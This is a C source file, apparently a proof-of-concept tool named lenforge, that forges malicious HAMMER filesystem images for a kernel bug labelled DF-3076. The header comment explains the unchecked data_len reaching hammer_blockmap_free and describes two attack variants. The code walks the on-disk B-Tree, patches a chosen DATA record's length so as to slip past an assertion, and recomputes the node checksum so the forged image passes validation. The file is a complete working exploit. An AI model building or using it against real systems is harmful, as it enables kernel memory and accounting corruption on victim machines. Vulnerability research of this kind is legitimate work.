/*
 * lenforge.c - DF-3076 PoC image forger.
 *
 * DF-3076 root cause: hammer_blockmap_free() (sys/vfs/hammer/
 * hammer_blockmap.c:762) takes `bytes` = the on-disk B-Tree leaf's
 * data_len with NO production bounds check.  Its only validation is
 * `KKASSERT(bytes <= HAMMER_XBUFSIZE)` at hammer_blockmap.c:786 —
 * INVARIANTS-only, compiled out on production kernels.  The same
 * unvalidated field feeds hammer_blockmap_dedup() (:910) and, via
 * reblock, more free sites (hammer_reblock.c:493).
 *
 * Reachability (no privileges needed post-mount): unlink of a file on a
 * nohistory HAMMER mount ->
 *   hammer_ip_delete_record (hammer_object.c:2234,
 *     HAMMER_DELETE_ADJUST | hammer_nohistory(ip))
 *   -> hammer_delete_at_cursor(HAMMER_DELETE_DESTROY)
 *   -> hammer_blockmap_free(trans, leaf->data_offset, leaf->data_len)
 *      (hammer_object.c:2542) with data_len straight off the media.
 *
 * This forger walks the B-Tree of a *stock* newfs_hammer image (made
 * with one small file), finds the file's DATA record leaf, patches its
 * data_len to an attacker value and recomputes the node CRC32C
 * (CRC is not a security barrier — the image author owns it).
 *
 * Variant A: data_len = 0x7FFFFFF0 (~2GB)
 *   -> KKASSERT(bytes <= HAMMER_XBUFSIZE) fires at :786 (INVARIANTS)
 *      Production: compiled out; `layer2->bytes_free += bytes` wraps
 *      int32 (freemap layer2 bytes_free is attacker-crafted with a
 *      forgeable CRC), the == HAMMER_BIGBLOCK_SIZE force-free branch
 *      at :853 releases a big-block still referenced by other records.
 * Variant B: data_len = 0x10000 (64KB — the maximum the :786 bound
 *   itself would allow) -> free accounting pushes a nearly-empty
 *   big-block's bytes_free past HAMMER_BIGBLOCK_SIZE -> KKASSERT at
 *   :834 (INVARIANTS); production: silent accounting corruption.
 *
 * Build (in guest): cc -O -o lenforge lenforge.c icrc32.c \
 *                     -I/usr/src/sys/vfs/hammer
 * Usage: lenforge <img> <newlen_hex|keep>
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <inttypes.h>
#include <unistd.h>
#include <fcntl.h>

#include <sys/param.h>
#include <sys/types.h>
#include <stdint.h>
#include <stddef.h>
#include <hammer_disk.h>
#include <hammer_btree.h>

extern uint32_t iscsi_crc32(const void *buf, size_t size);

#define NODE_SIZE   ((int)sizeof(struct hammer_node_ondisk))
#define ELM_SIZE    ((int)sizeof(union hammer_btree_elm))

static uint32_t version_g;
static int64_t vol_buf_beg_g;
static int patched = 0;
static int32_t newlen_g;
static uint8_t bestbuf[NODE_SIZE];
static struct hammer_node_ondisk *bestnd =
	(struct hammer_node_ondisk *)bestbuf;
static union hammer_btree_elm *best = NULL;
static hammer_off_t bestkey = 0;
static off_t bestraw = 0;

static void
node_crc(uint32_t version, struct hammer_node_ondisk *node)
{
	node->crc = 0;
	node->crc = iscsi_crc32((const uint8_t *)node + sizeof(node->crc),
				NODE_SIZE - sizeof(node->crc));
}

static int
node_crc_ok(uint32_t version, struct hammer_node_ondisk *node)
{
	uint32_t save = node->crc, calc;

	node->crc = 0;
	calc = iscsi_crc32((const uint8_t *)node + sizeof(node->crc),
			   NODE_SIZE - sizeof(node->crc));
	node->crc = save;
	return (calc == save);
}

static int
walk(int fd, hammer_off_t node_z8, int depth)
{
	uint8_t buf[NODE_SIZE];
	struct hammer_node_ondisk *nd = (struct hammer_node_ondisk *)buf;
	off_t raw = vol_buf_beg_g + (node_z8 & HAMMER_OFF_SHORT_MASK);
	int i, zone;

	if (depth > 64)
		return (0);
	if (pread(fd, buf, NODE_SIZE, raw) != NODE_SIZE) {
		fprintf(stderr, "pread node %016jx failed\n", (uintmax_t)node_z8);
		return (0);
	}
	if (!node_crc_ok(version_g, nd)) {
		fprintf(stderr, "node %016jx CRC bad\n", (uintmax_t)node_z8);
		return (0);
	}

	if (nd->type == HAMMER_BTREE_TYPE_INTERNAL) {
		for (i = 0; i < nd->count; ++i) {
			hammer_off_t sub = nd->elms[i].internal.subtree_offset;
			if (sub)
				walk(fd, sub, depth + 1);
		}
	} else if (nd->type == HAMMER_BTREE_TYPE_LEAF) {
		for (i = 0; i < nd->count; ++i) {
			union hammer_btree_elm *e = &nd->elms[i];
			hammer_off_t doff = e->leaf.data_offset;

			if (e->base.rec_type != HAMMER_RECTYPE_DATA)
				continue;
			zone = (int)(doff >> 60);
			if (doff == 0 || (zone != 10 && zone != 11))
				continue;
			printf("FOUND DATA rec: key=%016jx data_off=%016jx "
			       "data_len=%d (zone %d) node=%016jx elm=%d\n",
			       (uintmax_t)e->base.key, (uintmax_t)doff,
			       e->leaf.data_len, zone,
			       (uintmax_t)node_z8, i);
			/*
			 * Pick the record with the highest key so the
			 * crafted data_len can satisfy key - data_len >= 0
			 * (dodges hammer_ip_delete_range's left-edge assert,
			 * hammer_object.c:1997) and still exceed the
			 * HAMMER_XBUFSIZE bound at hammer_blockmap.c:786.
			 */
			if (best == NULL || e->base.key > bestkey) {
				memcpy(bestbuf, buf, NODE_SIZE);
				best = &bestnd->elms[i];
				bestkey = e->base.key;
				bestraw = raw;
			}
		}
	}
	return (0);
}

int
main(int argc, char **argv)
{
	const char *path;
	int fd;
	uint8_t hdr[4096];
	uint64_t sig;
	hammer_off_t root_z8;

	if (argc < 3) {
		fprintf(stderr, "usage: lenforge <img> <newlen_hex|keep>\n");
		return (1);
	}
	path = argv[1];
	if (strcmp(argv[2], "keep") == 0) {
		newlen_g = -1;
	} else {
		newlen_g = (int32_t)strtoul(argv[2], NULL, 0);
	}

	fd = open(path, O_RDWR);
	if (fd < 0) { perror("open"); return (1); }

	if (pread(fd, hdr, sizeof(hdr), 0) != sizeof(hdr)) {
		perror("pread hdr"); return (1);
	}
	memcpy(&sig, hdr, 8);
	if (sig != HAMMER_FSBUF_VOLUME) {
		fprintf(stderr, "not a hammer volume (sig=%016jx)\n",
			(uintmax_t)sig);
		return (1);
	}
	memcpy(&vol_buf_beg_g, hdr + 24, 8);
	memcpy(&version_g, hdr + 152, 4);
	memcpy(&root_z8,
	       hdr + offsetof(struct hammer_volume_ondisk, vol0_btree_root), 8);
	printf("version=%u buf_beg=%jd btree_root=%016jx newlen=%d\n",
	       version_g, (intmax_t)vol_buf_beg_g, (uintmax_t)root_z8, newlen_g);
	if (version_g < HAMMER_VOL_VERSION_SEVEN) {
		fprintf(stderr, "expect v7 image (iscsi crc)\n");
		return (1);
	}

	walk(fd, root_z8, 0);
	if (best == NULL) {
		fprintf(stderr, "no DATA record found\n");
		return (1);
	}
	if (newlen_g >= 0) {
		if ((int64_t)bestkey < (int64_t)newlen_g) {
			fprintf(stderr, "key %016jx < newlen %d: would hit "
				"left-edge assert first\n",
				(uintmax_t)bestkey, newlen_g);
			return (1);
		}
		printf("PATCH best-key record: key=%016jx data_len %d -> "
		       "%d (0x%x)\n", (uintmax_t)bestkey,
		       best->leaf.data_len, newlen_g, newlen_g);
		best->leaf.data_len = newlen_g;
		node_crc(version_g, bestnd);
		if (pwrite(fd, bestnd, NODE_SIZE, bestraw) != NODE_SIZE) {
			perror("pwrite");
			return (1);
		}
		++patched;
	}
	printf("DONE patched=%d\n", patched);
	return (0);
}
